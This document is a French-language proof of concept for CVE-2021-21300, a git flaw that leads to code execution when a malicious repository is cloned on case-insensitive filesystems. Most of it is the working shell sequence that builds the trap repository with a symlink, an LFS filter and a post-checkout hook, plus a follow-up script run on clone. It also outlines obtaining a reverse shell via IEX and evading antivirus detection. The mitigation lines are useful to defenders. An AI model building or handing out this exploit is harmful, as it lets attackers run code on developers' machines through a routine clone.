
Preuve de concept pour CVE-2021-21300, démontrant l'exécution de code à distance via le clonage malveillant de dépôt git avec abus de lien symbolique et de filtres sur les systèmes de fichiers insensibles à la casse.
Dans plusieurs versions de git, la gestion des liens symboliques est relâchée. Après avoir téléchargé des fichiers vers git sur un système de fichiers sensible à la casse (par exemple Linux), cloner un dépôt malveillant sur un hôte utilisant un système de fichiers insensible à la casse (par exemple Windows) peut entraîner l’exécution de commandes à distance.
De la version 2.15 à la version actuelle 2.30.1
Désactiver les liens symboliques de git : git config --global core.symlinks false
Désactiver le filtre de processus (généralement utilisé par LFS) : git config --show-scope --get-regexp 'filter\..*\.process pour vérifier
.git/hooks)Système : ubuntux64
Installer git, git-lfs
L’exécution de la commande git lfs install peut afficher une erreur
Error: Failed to call git rev-parse --git-dir: exit status 128
Peut être ignorée
Si Git LFS initialized. apparaît, l’installation est terminée.
Système : win10x64
git for windows : Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
Installation par défaut pour git for windows
De nombreux tutoriels en ligne, ne pas détailler
Exécuter les commandes suivantes
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [adresse de votre dépôt]
$ git push -u origin main
Dans powershell (administrateur) sous win10, exécuter la commande suivante :
git clone -c core.symlinks=true [adresse de votre dépôt]
Après le clone, l’apparition de PWNED indique que l’exécution de commande à distance a réussi.
Ainsi, lors du clone, les commandes du fichier post-checkout sont exécutées.
L’idée est d’utiliser IEX pour télécharger un script, puis d’écouter via kali pour obtenir un shell. Cependant, la plupart des scripts sont identifiés et bloqués. Contourner la détection (bypass) pourrait permettre d’y parvenir.
Ajouter un fichier script hack.sh dans le répertoire
Contenu :
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Modifier la commande exécutée dans post-checkout pour exécuter le script
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout